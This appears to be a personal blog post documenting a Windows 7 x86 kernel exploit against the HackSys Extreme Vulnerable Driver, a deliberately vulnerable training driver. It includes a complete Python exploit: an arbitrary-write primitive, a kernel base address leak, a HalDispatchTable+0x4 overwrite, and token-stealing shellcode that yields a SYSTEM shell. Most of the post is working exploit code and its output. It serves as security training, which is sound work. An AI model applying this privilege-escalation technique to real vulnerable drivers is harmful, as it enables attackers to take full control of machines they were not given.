HEVD Exploits -- Windows 7 x86 Arbitrary Write

Introduction

Continuing on with the Windows exploit journey, it’s time to start exploiting kernel-mode drivers and learning about writing exploits for ring 0. As I did with my OSCE prep, I’m mainly blogging my progress as a way for me to reinforce concepts and keep meticulous notes I can reference later on. I can’t tell you how many times I’ve used my own blog as a reference for something I learned 3 months ago and had totally forgotten.

This series will be me attempting to run through every exploit on the Hacksys Extreme Vulnerable Driver. I will be using HEVD 2.0. I can’t even begin to explain how amazing a training tool like this is for those of us just starting out. There are a ton of good blog posts out there walking through various HEVD exploits. I recommend you read them all! I referenced them heavily as I tried to complete these exploits. Almost nothing I do or say in this blog will be new or my own thoughts/ideas/techniques. There were instances where I diverged from any strategies I saw employed in the blogposts out of necessity or me trying to do my own thing to learn more.

This series will be light on tangential information such as:

  • how drivers work, the different types, communication between userland, the kernel, and drivers, etc
  • how to install HEVD,
  • how to set up a lab environment
  • shellcode analysis

The reason for this is simple, the other blog posts do a much better job detailing this information than I could ever hope to. It feels silly writing this blog series in the first place knowing that there are far superior posts out there; I will not make it even more silly by shoddily explaining these things at a high-level in poorer fashion than those aforementioned posts. Those authors have way more experience than I do and far superior knowledge, I will let them do the explaining. :)

This post/series will instead focus on my experience trying to craft the actual exploits.

I used the following blogs as references:

Huge thanks to the blog authors, no way I could’ve finished these first two exploits without your help/wisdom.

Goal

For this post, I will only be concerned with creating a functional exploit. The code will be ugly, but it will work. In the next post, when we port our exploit to x86-64, I will worry about cleaning the code up, utilizing classes to define data structures and maybe even make the portable for both 32 and 64-bit Windows 7.

Getting IOCTL with IDA

First and foremost, we need to use IDA to determine the IOCTL code we need to interact with our desired function. This actually isn’t that hard this time since we already determined the IOCTL for the overflow last blog post and our new desired function is very close to that one.

So that’s where we want to end up, let’s backtrace a few steps and see what we can deduce about the IOCTL.

This lower box here, is directly connected to our desired function. So in this lower box, if we hit that jz opcode, we will end up in our function. You can see that there are two sub eax, 4 operations that lead to this jz. The box immediately out of frame and directly connected to the upper box is actually our jz to the stack overflow function. That IOCTL was 0x222003. So we can summarize the flow as thus:

  • if we subtract 0x222003 from our IOCTL and we don’t get 0x0,
  • subtract another 0x4. If we don’t get 0x0,
  • subtract another 0x4. If we get 0x0, jump to the Arbitrary Write function.

So we can deduce that 0x222003 + 0x4 + 0x4 is our desired IOCTL. This gives us 0x22200B. Like we did last post, let’s set a breakpoint on our function, send our IOCTL and see if we hit our breakpoint.

Going to pause the debuggee, and rerun our standby commands we always run on our debugger:

  • sympath\+ <path to the HEVD.pdb file> <— adds the symbols for HEVD to our symbols path
  • .reload <— reloads symbols from path
  • ed Kd_DEFAULT_Mask 8 <— enables debug string printing
  • bp HEVD!ArbitraryOverwriteIoctlHandler <— sets a breakpoint on our desired function

We’ll use this script to send a buffer of 1000 A characters.

import ctypes, sys, struct
from ctypes import *
from subprocess import *

kernel32 = windll.kernel32

def send_buf():
    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)
    
    if (not hevd) or (hevd == -1):
        print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
        sys.exit(1)
    else:
        print("[*] Successfully retrieved handle to device-driver: " + str(hevd))

    buf = "A" * 1000
    buf_length = len(buf)
    
    result = kernel32.DeviceIoControl(
        hevd,
        0x22200b,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )

    if result != 0:
        print("[*] Buffer sent to driver successfully.")
    else:
        print("[!] Payload failed. Last error: " + str(GetLastError()))

send_buf()

We can see that we hit our breakpoint! Awesome, let’s actually analyze what this function inside the IOCTL handler, TriggerArbitraryOverwrite, is doing now in WinDBG.

Analyzing TriggerArbitraryOverwrite

If we look at the debug statements, this is what we get:

kd> g
[+] UserWriteWhatWhere: 0x0187D65C
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x41414141
[+] UserWriteWhatWhere->Where: 0x41414141
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******

We sent 1000 A chars, and we see that the What we are writing is 0x41414141. Ok, this seems fine, its obviously taken 4 bytes out of our sent string and is treating them as a 4 byte object to write somewhere. The somewhere is also 0x41414141 as we see it is labeled as the Where. Let’s step through the function to figure out how this works in the disassembly.

We’ll set a breakpoint on bp HEVD!TriggerArbitraryOverwrite and we’ll resend the payload. Once we hit our break and then step through a bit we come upon the meat of the function, the highlighted line in the disassembler and the one after it. Let’s take a look at these two operations and our register values.

We can see we’re about to execute a mov eax, dword ptr [edi] instruction. Looking at the registers, EDI is set currently to 0x41414141. This operation will definitely fail. There is no mapped memory at 0x41414141 so there is no value there for it to be stored in EAX. This is very different from mov eax, edi. What we’re doing here is taking a pointer, EDI, and moving the pointer value there to EAX. Very interesting, we can definitely leverage this to write whatever we want I think based on everything we learned last posts. We can simply have EDI point to a pointer that points to our shellcode.

The next instruction is mov dword ptr [ebx], eax. Wow ok, so this will then take that pointer we fed EAX and put it in the memory address EBX is pointing to. We can see from the register values we also control EBX since it’s also 0x41414141. So we not only control what will be written, but where it will be written. Let’s go consult the smart people about how to use this to gain code execution.

Spoiler alert, these two 4-byte groupings are just the first 8 bytes of our buffer.

Turning a Read and a Write into Code Execution

After consulting the elders, (blog posts of FuzzySec, Abatchy, etc), we see that a way you can exploit this is to overwrite a function pointer that is called with ring 0 privileges and then invoke that function. Luckily, such a function exists and this methodology is pretty seasoned at this point.

I’m not going to spend a bunch of time explaining the underlying concepts here, the referenced blog posts do a great job of that. Please go read them, at a bare minimum read the FuzzySec and Abatchy blogs. At a high-level, we will use a routine within the HalDispatchTable (an abstraction layer for hardware interactions), HaliQuerySystemInformation, which is rarely used.

This function resides at offset 0x4 within the HalDispatchTable. Abatchy breaks it down as follows in WinDBG, this is straight from his blog:

kd> dd HalDispatchTable     
82970430  00000004 828348a2 828351b4 82afbad7
82970440  00000000 828455ba 829bc507 82afb3d8
82970450  82afb683 8291c959 8295d757 8295d757
82970460  828346ce 82834f30 82811178 82833dce
82970470  82afbaff 8291c98b 8291caa1 828350f6
82970480  8291caa1 8281398c 8281b4f0 82892c8c
82970490  82af8d7f 00000000 82892c9c 829b3c1c
829704a0  00000000 82892cac 82af8f77 00000000

kd> ln 828348a2 
Browse module
Set bu breakpoint

(828348a2)   hal!HaliQuerySystemInformation   |  (82834ad0)   hal!HalpAcpiTimerInit
Exact matches:
    hal!HaliQuerySystemInformation (<no parameter info>)

So if we found the address of the HalDispatchTable, we could increase the address by 0x4 and know exactly where HaliQuerySystemInformation resides and we could overwrite it.

This is great, but we still need a way to invoke the function. This can apparently be accomplished by leveraging the KeQueryIntervalProfile function which calls a DWORD pointer at HalDispatchTable+0x4. KeQueryIntervalProfile can be reached by calling NtQueryIntervalProfile a rarely used undocumented API. Thank you to Fuzzy and Abatchy for this portion.

Finding the Address of HalDispatchTable+0x4

For this portion, I would’ve been utterly lost without two resources: FuzzySec’s Get-SystemModuleInformation Windows Powershell script and a GradiusX exploit code for a similar exploit that uses bitmaps to achieve the same end result.

Between these two examples, I was able to cobble together a Frankenstein Python script that took bits and pieces from both examples and then also things I came up with that made more sense to me. Because I couldn’t just straight up use what they had written, I had to make my own way and that helped a lot.

We have a task ahead of us. We have to find the address of the HalDispatchTable. At a high-level, we can accomplish this by:

  • finding the kernel image base address,
  • grabbing a handle to the kernel image by using LoadLibraryA,
  • grabbing the userland HalDispatchTable address by using GetProcAddress with our kernel image handle,
  • and finally subtracting the kernel image handle from our userland HalDispatchTable address and then adding the kernel base address.

Finding Kernel Base

This can apparently be accomplished by using NtQuerySystemInformation (which can be found somewhat documented here). The prototype is this:

__kernel_entry NTSTATUS NtQuerySystemInformation(
  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
  OUT PVOID                   SystemInformation,
  IN ULONG                    SystemInformationLength,
  OUT PULONG                  ReturnLength
);

For the SystemInformationClass parameter, we will be using the SystemModuleInformation argument. My saving grace throughout this portion was some documentation on the structures of this API here. No way I finish this exploit without this help.

Looking at the documentation, SystemModuleInformation is 0x000B. So we’ll use the value 0xb for this parameter. Let’s start a new separate script that will just gather all the address information we need, we’ll kick it off by calling NtQuerySystemInformation. Right now our script looks like this:

def base():
    print("[*] Calling NtQuerySystemInformation w/SystemModuleInformation class" )
    system_information = create_string_buffer(0)
    system_information_length = c_ulong(0)
    ntdll.NtQuerySystemInformation(
        0xb,
        system_information,
        len(system_information),
        addressof(system_information_length)
    )

    system_information = create_string_buffer(system_information_length.value)

    result = ntdll.NtQuerySystemInformation(
        0xb,
        system_information,
        len(system_information),
        addressof(system_information_length)
    )

    if result == 0x00000000:
        print("[*] Success, allocated {}-byte result buffer.".format(str(len(system_information))))
        
    elif result == 0xC0000004:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: STATUS_INFO_LENGTH_MISMATCH (0xC0000004)")

    elif result == 0xC0000005:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: STATUS_ACCESS_VIOLATION (0xC0000005)")

    else:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: {}").format(hex(result))

Some parts that need explaining here: I just took the hardcoded error codes from FuzzySec’s Powershell script and hardcoded them here. You’ll notice that we call the API twice, now why is that? Well, we don’t know the buffer length for the output parameters yet. So we’ll call it twice:

  • 1st, the API call ends in an error because we have tried to stuff our results into a 0-sized buffer
  • 2nd, we get the returned length in system_information_length and then we can call the API again with the correct buffer length by re-establishing the system_information string buffer with system_information = create_string_buffer(system_information_length.value).

FuzzySec accomplishes this by putting his API calls into a while True loop with a break on success and GradiusX does basically what I did and calls the API twice.

If you look at the MSDN and githubgist documentation, system_information is now a struct of type _SYSTEM_MODULE_INFORMATION. This prototype is broken down thusly:

struct _SYSTEM_MODULE_INFORMATION // Size=284
{
    ULONG Count; // Size=4 Offset=0
    SYSTEM_MODULE Modules[1]; // Size=280 Offset=4
};

Nice, that’s easy enough, let’s take a look at this goddamn SYSTEM_MODULE member:

typedef struct _SYSTEM_MODULE // Size=280
{
    USHORT Reserved1; // Size=2 Offset=0
    USHORT Reserved2; // Size=2 Offset=2
    ULONG ImageBaseAddress; // Size=4 Offset=4
    ULONG ImageSize; // Size=4 Offset=8
    ULONG Flags; // Size=4 Offset=12
    USHORT Index; // Size=2 Offset=16
    USHORT Rank; // Size=2 Offset=18
    USHORT LoadCount; // Size=2 Offset=20
    USHORT NameOffset; // Size=2 Offset=22
    UCHAR Name[256]; // Size=256 Offset=24
} SYSTEM_MODULE;

Whew, thats quite a lot, but helpfully the size and offsets are annotated in the documentation. Sidenote: sizeof(ctypes.c_ulong()) on Linux is 8 bytes but on Windows it’s 4 bytes, WTF?

So what we have now is system_information returned to us in the form of a _SYSTEM_MODULE_INFORMATION struct. GradiusX convienantly hardcoded a class definition in his script for this struct and I’ve put it in my final commented script, feel free to use it (I did not, I am very unsmart.)

Somehow, the first 4 bytes of this returned struct is the amount of handles to Images returned, I’m still not understanding 100% how this works. I can’t account for these 4 bytes in the documentation. If we call our script we have right now, I get this returned in my terminal:

C:\Users\IEUser\Desktop>python address.py
[*] Calling NtQuerySystemInformation w/SystemModuleInformation class
[*] Success, allocated 52828-byte result buffer.

So we now have the length of the returned structure (52828 bytes). If we slice off the first four bytes of this returned struct, which by the way, I treated as a long string in Python, we can actually store those 4 bytes in a buffer and get their decimal value with the following code thanks to GradiusX:

handle_num = c_ulong()
memmove(addressof(handle_num), create_string_buffer(system_information[:4]), sizeof(handle_num))
print("[*] Result buffer contains {} SystemModuleInformation objects".format(str(handle_num.value)))

If we append this to our script and run it, we get the following terminal output:

C:\Users\IEUser\Desktop>python address.py
[*] Calling NtQuerySystemInformation w/SystemModuleInformation class
[*] Success, allocated 52828-byte result buffer.
[*] Result buffer contains 186 SystemModuleInformation objects

We can do some math now. We returned 186 SystemModuleInformation objects. Each object is 284 bytes according to the documentation. That brings us to 52824 bytes. So there we have it, we have something like: 4 bytes telling us how many objects returned and then 52824 bytes of 284 byte structs. This makes sense to me, I just don’t know where we can find those initial 4 bytes, let me know if you know please.

Moving on, let’s just slice those first four bytes off so we can deal with the remaining objects which are all instances of _SYSTEM_MODULE_INFORMATION stucts!

We can parse them accordingly! Let’s redefine system_information without the first 4 bytes:

system_information = create_string_buffer(system_information[4:])

Since we know the offsets, we can just hardcode them and treat system_information as a long string. Let’s parse the string using our offsets from the documentation and just return every single ImageName member of the struct. We can see from the documentation that this member is 256 bytes long and is located at offset +0x24. And this struct is 284 bytes long. So we can keep a counter variable that will increment every iteration 284 bytes and we can get a list of the module names with the ImageName member. Let’s see if this works and then we will know positively that we can parse the struct the way we need to. This can be accomplished with the following loop in our exploit script:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

kernel32 = windll.kernel32
ntdll = windll.ntdll

def address_find():
    print("[*] Calling NtQuerySystemInformation w/SystemModuleInformation class" )
    system_information = create_string_buffer(0)
    system_information_length = c_ulong(0)
    ntdll.NtQuerySystemInformation(
        0xb,
        system_information,
        len(system_information),
        addressof(system_information_length)
    )

    system_information = create_string_buffer(system_information_length.value)

    result = ntdll.NtQuerySystemInformation(
        0xb,
        system_information,
        len(system_information),
        addressof(system_information_length)
    )

    if result == 0x00000000:
        print("[*] Success, allocated {}-byte result buffer.".format(str(len(system_information))))

    elif result == 0xC0000004:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: STATUS_INFO_LENGTH_MISMATCH (0xC0000004)")

    elif result == 0xC0000005:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: STATUS_ACCESS_VIOLATION (0xC0000005)")

    else:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: {}").format(hex(result))

    handle_num = c_ulong()
    memmove(addressof(handle_num), create_string_buffer(system_information[:4]), sizeof(handle_num))
    print("[*] Result buffer contains {} SystemModuleInformation objects".format(str(handle_num.value)))

    system_information = create_string_buffer(system_information[4:])

    counter = 0
    for x in range(0,handle_num.value):
        image_name = system_information[counter + 28: counter + 284].strip("\x00")
        print(image_name)
        counter += 284

address_find()

Running this gives me the following terminal output:

C:\Users\IEUser\Desktop>python address.py
[*] Calling NtQuerySystemInformation w/SystemModuleInformation class
[*] Success, allocated 52828-byte result buffer.
[*] Result buffer contains 186 SystemModuleInformation objects
\SystemRoot\system32\ntkrnlpa.exe
\SystemRoot\system32\halmacpi.dll
\SystemRoot\system32\kdcom.dll
\SystemRoot\system32\mcupdate_GenuineIntel.dll
\SystemRoot\system32\PSHED.dll
\SystemRoot\system32\BOOTVID.dll
\SystemRoot\system32\CLFS.SYS
\SystemRoot\system32\CI.dll
\SystemRoot\system32\drivers\Wdf01000.sys
\SystemRoot\system32\drivers\WDFLDR.SYS
\SystemRoot\system32\drivers\ACPI.sys
\SystemRoot\system32\drivers\WMILIB.SYS
...[snip]...

It looks like we can parse this struct reasonably well with our offsets and treating it as a string with our loop. Granted this part was super confusing for me because of mystery 4 bytes, but this worked pretty reliably. We returned the names of every module. We’re interested in this first entry ntkrnlpa.exe. That’s the kernel image and if we find that in our loop, we should then go find it’s base address which is held in that struct’s ULONG ImageBaseAddress member at offset 0x4.

So what we’ll do, is iterate over our returned struct grabbing out image names, if the image name has ntkrnl in the string, we will go to that struct’s 0x4 offset and grab the address which spans to offset 0x8. This can accomplished with the following loop, replacing our old loop:

counter = 0
    for x in range(0,handle_num.value):
        image_name = system_information[counter + 28: counter + 284].strip("\x00")
        if "ntkrnl" in image_name:
            image_name = image_name.split("\\")[-1]
            print("[*] Kernel Type: {}".format(image_name))            
            base = c_ulong()
            memmove(addressof(base), create_string_buffer(system_information[counter + 8: counter + 12]), sizeof(base))
            kernel_base = hex(base.value)
            if kernel_base[-1] == "L":
                kernel_base = kernel_base[:-1]
                print("[*] Kernel Base: {}".format(kernel_base))
                return image_name, kernel_base
        counter += 284

Running this in the terminal gives me the following output:

C:\Users\IEUser\Desktop>python address.py
[*] Calling NtQuerySystemInformation w/SystemModuleInformation class
[*] Success, allocated 52828-byte result buffer.
[*] Result buffer contains 186 SystemModuleInformation objects
[*] Kernel Type: ntkrnlpa.exe
[*] Kernel Base: 0x82850000

Awesome, we actually returned the kernel image base address. We can now proceed with our plans. (I used the FuzzySec powershell script throughout this process to make sure my returned values were correct).

That was probably the hardest part, now we need to make a few API calls to get a handle to the kernel (LoadLibraryA) and also we need the userland HalDispatchTable (GetProcAddress).

We will also need to calculate the address of HalDispatchTable in kernel space using FuzzySec’s math we already outlined.

Let’s add everything to our first script with the send_buf function commented out for now. We’re now here:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

kernel32 = windll.kernel32
ntdll = windll.ntdll

def address_find():
    print("[*] Calling NtQuerySystemInformation w/SystemModuleInformation class" )
    system_information = create_string_buffer(0)
    system_information_length = c_ulong(0)
    ntdll.NtQuerySystemInformation(
        0xb,
        system_information,
        len(system_information),
        addressof(system_information_length)
    )

    system_information = create_string_buffer(system_information_length.value)

    result = ntdll.NtQuerySystemInformation(
        0xb,
        system_information,
        len(system_information),
        addressof(system_information_length)
    )

    if result == 0x00000000:
        print("[*] Success, allocated {}-byte result buffer.".format(str(len(system_information))))

    elif result == 0xC0000004:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: STATUS_INFO_LENGTH_MISMATCH (0xC0000004)")

    elif result == 0xC0000005:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: STATUS_ACCESS_VIOLATION (0xC0000005)")

    else:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: {}").format(hex(result))

    handle_num = c_ulong()
    memmove(addressof(handle_num), create_string_buffer(system_information[:4]), sizeof(handle_num))
    print("[*] Result buffer contains {} SystemModuleInformation objects".format(str(handle_num.value)))

    system_information = create_string_buffer(system_information[4:])

    counter = 0
    for x in range(0,handle_num.value):
        image_name = system_information[counter + 28: counter + 284].strip("\x00")
        if "ntkrnl" in image_name:
            image_name = image_name.split("\\")[-1]
            print("[*] Kernel Type: {}".format(image_name))            
            base = c_ulong()
            memmove(addressof(base), create_string_buffer(system_information[counter + 8: counter + 12]), sizeof(base))
            kernel_base = hex(base.value)
            if kernel_base[-1] == "L":
                kernel_base = kernel_base[:-1]
                print("[*] Kernel Base: {}".format(kernel_base))
                return image_name, kernel_base
        counter += 284

def hal_calc(image_name, kernel_base):

    # grab a handle to ntkrnl
    kern_handle = kernel32.LoadLibraryA(image_name)
    if kern_handle == None:
        print("[!] LoadLibrary failed to retrieve handle to kernel with error: {}".format(str(GetLastError())))
        sys.exit(1)
    print("[*] Kernel Handle: {}".format(hex(kern_handle)))

    # use our handle to get the address of the HalDispatchTable in userland
    userland_hal = kernel32.GetProcAddress(kern_handle, "HalDispatchTable")
    if userland_hal == None:
        print("[!] GetProcAddress failed to retrieve HDT address with error: {}".format(str(GetLastError())))
        sys.exit(1)
    print("[*] Userland HalDispatchTable Address: {}".format(hex(userland_hal)))

    # using FuzzySec's powershell script as guide for math: $HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase
    kernel_hal = userland_hal - kern_handle + int(kernel_base, 16)
    printable_hal = hex(kernel_hal)
    if printable_hal[-1] == "L":
        printable_hal = printable_hal[:-1]
    print("[*] Kernel HalDispatchTable Address: {}".format(printable_hal))

    # we want hal + 0x4, that's the function pointer we want to overwrite
    target_hal = kernel_hal + 0x4
    print("[*] Target HalDispatchTable Function Pointer at: {}".format(hex(target_hal)[:-1]))

    return target_hal


def send_buf():
    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)
    
    if (not hevd) or (hevd == -1):
        print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
        sys.exit(1)
    else:
        print("[*] Successfully retrieved handle to device-driver: " + str(hevd))

    buf = "A" * 1000
    buf_length = len(buf)
    
    result = kernel32.DeviceIoControl(
        hevd,
        0x22200b,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )

    if result != 0:
        print("[*] Buffer sent to driver successfully.")
    else:
        print("[!] Payload failed. Last error: " + str(GetLastError()))

image_name, kernel_base = address_find()
hal_calc(image_name, kernel_base)

Running this script nets us the following terminal output:

C:\Users\IEUser\Desktop>python ArbitraryWrite.py
[*] Calling NtQuerySystemInformation w/SystemModuleInformation class
[*] Success, allocated 52828-byte result buffer.
[*] Result buffer contains 186 SystemModuleInformation objects
[*] Kernel Type: ntkrnlpa.exe
[*] Kernel Base: 0x82850000
[*] Kernel Handle: 0x19a0000
[*] Userland HalDispatchTable Address: 0x1ad9358
[*] Kernel HalDispatchTable Address: 0x82989358
[*] Target HalDispatchTable Function Pointer at: 0x8298935c

Amazing, we now have everything we need to finally add some shellcode!

Shellcode and Exploitation

We will do the following in this function:

  • Establish a shellcode buffer,
  • Mark it RWX with VirtualProtect,
  • Establish a second buffer, let’s call it the What buffer, that only holds a pointer to our shellcode buffer,
  • Mark this buffer RWX (is this even necessary?),
  • Use a pointer to this second buffer as our What argument,
  • Use a pointer to HalDispatchTable+0x4 as our Where argument,
  • Call NtQueryIntervalProfile finally to trigger the function that we’ve now overwritten and now points to our shellcode!

I just used FuzzySec’s token stealing payload. I used the method of opening a shell that I learned from the rootkits.xyz blog for the stack overflow exploit.

Our final exploit code looks something like this fully commented and with references like the GladiusX-like class:

import ctypes, sys, struct
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
'''
class SYSTEM_MODULE_INFORMATION(Structure):
    _fields_ = [("Reserved", c_void_p * 2),
                ("ImageBase", c_void_p),
                ("ImageSize", c_long),
                ("Flags", c_ulong),
                ("LoadOrderIndex", c_ushort),
                ("InitOrderIndex", c_ushort),
                ("LoadCount", c_ushort),
                ("ModuleNameOffset", c_ushort),
                ("ImageName", c_char * 256)]
'''
def base():
    print("[*] Calling NtQuerySystemInformation w/SystemModuleInformation class" )
    # https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1607/HEVD_arbitraryoverwrite.py
    # @GradiusX style, arbitrary buffer to get the system_information_length
    # then we'll call it a second time with the appropriately sized buffer
    system_information = create_string_buffer(0)
    system_information_length = c_ulong(0)
    ntdll.NtQuerySystemInformation(
        0xb,
        system_information,
        len(system_information),
        addressof(system_information_length)
    )
 
    # re-establishing this buffer now that we know the length we need
    system_information = create_string_buffer(system_information_length.value)
 
    # call it again, result should be equal to 0x00000000
    result = ntdll.NtQuerySystemInformation(
        0xb,
        system_information,
        len(system_information),
        addressof(system_information_length)
    )
 
    if result == 0x00000000:
        print("[*] Success, allocated {}-byte result buffer.".format(str(len(system_information))))
 
    # hardcoded results from FuzzySec's Get-SystemModuleInformation.ps1
    # key at: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
    elif result == 0xC0000004:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: STATUS_INFO_LENGTH_MISMATCH (0xC0000004)")
 
    elif result == 0xC0000005:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: STATUS_ACCESS_VIOLATION (0xC0000005)")
 
    else:
        print("[!] NtQuerySystemInformation failed. NTSTATUS: {}").format(hex(result))
 
    # system_information is now a long array at this point with all of our module information
    # we need to parse it, let's first figure out how many handles we have like FuzzySec does
    # @GladiusX tells us that the first 4 bytes of our array, is the number of handles returned
    # create a unsigned long variable (4 bytes), move our first 4 bytes of our array into it, use .value property to get decimal value
    handle_num = c_ulong()
    memmove(addressof(handle_num), create_string_buffer(system_information[:4]), sizeof(handle_num))
    print("[*] Result buffer contains {} SystemModuleInformation objects".format(str(handle_num.value)))
 
    # take off the first four bytes
    system_information = create_string_buffer(system_information[4:])
 
    # iterate through the returned object looking for 'ntkrnl' in the ImageName space (i just hardcoded the offsets in the string buffer)
    # if you do var = SYSTEM_MODULE_INFORMATION() and then sizeof(var), you get 284 on x86
    # so our returned object/structure is 284 bytes long. first 4 bytes are 'Count'
    # good documentation here: https://gist.github.com/jNizM/ddf02494cd78e743eed776ce6164758f
    # when we find 'ntkrnl' we grab the ImageBase and return it
    # this is so bad lmao
    counter = 0
    for x in range(0,handle_num.value):
        image_name = system_information[counter + 28: counter + 284].strip("\x00")
        if "ntkrnl" in image_name:
            image_name = image_name.split("\\")[-1]
            print("[*] Kernel Type: {}".format(image_name))            
            base = c_ulong()
            memmove(addressof(base), create_string_buffer(system_information[counter + 8: counter + 12]), sizeof(base))
            kernel_base = hex(base.value)
            if kernel_base[-1] == "L":
                kernel_base = kernel_base[:-1]
                print("[*] Kernel Base: {}".format(kernel_base))
                return image_name, kernel_base
        counter += 284
 
 
def hal_calc(image_name, kernel_base):
 
    # grab a handle to ntkrnl
    kern_handle = kernel32.LoadLibraryA(image_name)
    if kern_handle == None:
        print("[!] LoadLibrary failed to retrieve handle to kernel with error: {}".format(str(GetLastError())))
        sys.exit(1)
    print("[*] Kernel Handle: {}".format(hex(kern_handle)))
 
    # use our handle to get the address of the HalDispatchTable in userland
    userland_hal = kernel32.GetProcAddress(kern_handle, "HalDispatchTable")
    if userland_hal == None:
        print("[!] GetProcAddress failed to retrieve HDT address with error: {}".format(str(GetLastError())))
        sys.exit(1)
    print("[*] Userland HalDispatchTable Address: {}".format(hex(userland_hal)))
 
    # using FuzzySec's powershell script as guide for math: $HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase
    kernel_hal = userland_hal - kern_handle + int(kernel_base, 16)
    printable_hal = hex(kernel_hal)
    if printable_hal[-1] == "L":
        printable_hal = printable_hal[:-1]
    print("[*] Kernel HalDispatchTable Address: {}".format(printable_hal))
 
    # we want hal + 0x4, that's the function pointer we want to overwrite
    target_hal = kernel_hal + 0x4
    print("[*] Target HalDispatchTable Function Pointer at: {}".format(hex(target_hal)[:-1]))
 
    return target_hal
 
def exploit(target_hal):
 
    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        0xC0000000,
        0,
        None,
        0x3,
        0,
        None)
   
    if (not hevd) or (hevd == -1):
        print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
        sys.exit(1)
    else:
        print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
 
    shellcode = bytearray(
        "\x60"
        "\x64\xA1\x24\x01\x00\x00"
        "\x8B\x40\x50"
        "\x89\xC1"
        "\x8B\x98\xF8\x00\x00\x00"
        "\xBA\x04\x00\x00\x00"
        "\x8B\x80\xB8\x00\x00\x00"
        "\x2D\xB8\x00\x00\x00"
        "\x39\x90\xB4\x00\x00\x00"
        "\x75\xED"
        "\x8B\x90\xF8\x00\x00\x00"
        "\x89\x91\xF8\x00\x00\x00"
        "\x61"
        "\xC3"
    )
 
    # create a buffer and fill it with shellcode, mark it RWX with VirtualProtect
    print("[*] Allocating shellcode character array...")
    usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
    ptr = addressof(usermode_addr)
    print("[*] Allocated shellcode char array at: " + hex(ptr))
 
    print("[*] Marking shellcode RWX...")
   
    result = kernel32.VirtualProtect(
        usermode_addr,
        c_int(len(shellcode)),
        c_int(0x40),
        byref(c_ulong())
    )
 
    if result == 0:
        print("[!] VirtualProtect failed with error code: {}".format(str(GetLastError())))
 
    # create new buffer to hold pointer to shellcode
    print("[*] Allocating our What buffer...")
    new_buf_contents = bytearray(struct.pack("<L", ptr))
    new_buf = (c_char * len(new_buf_contents)).from_buffer(new_buf_contents)
    new_buf_ptr = addressof(new_buf)
    print("[*] Allocated What buffer at: " + hex(new_buf_ptr))
 
    print("[*] Marking What buffer RWX...")
    result = kernel32.VirtualProtect(
        new_buf,
        c_int(len(new_buf_contents)),
        c_int(0x40),
        byref(c_ulong())
    )
 
    if result == 0:
        print("[!] VirtualProtect failed with error code: {}".format(str(GetLastError())))
 
    buf = struct.pack("<L", new_buf_ptr)
    buf += struct.pack("<L", target_hal)
    buf_length = len(buf)
 
    result = kernel32.DeviceIoControl(
        hevd,
        0x22200b,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )
 
    if result != 0:
        print("[*] Buffer sent to driver successfully.")
    else:
        print("[!] Payload failed. Last error: " + str(GetLastError()))
 
    print("[*] Calling NtQueryIntervalProfile for trigger...")
    ntdll.NtQueryIntervalProfile(0x2408, byref(c_ulong()))
 
    print("[*] Opening system shell...")
    Popen("start cmd", shell=True)
   
 
image_name, kernel_base = base()
target_hal = hal_calc(image_name, kernel_base)
exploit(target_hal)

Conclusion

If we run this exploit code, we get a nt authority\system shell for our efforts. Let me know if you have any questions about this one, it took me a whole Saturday to figure out. Thank you FuzzySec and GradiusX. We’ll port this to x86-x64 and clean up the code a lot in the next post. Until next time.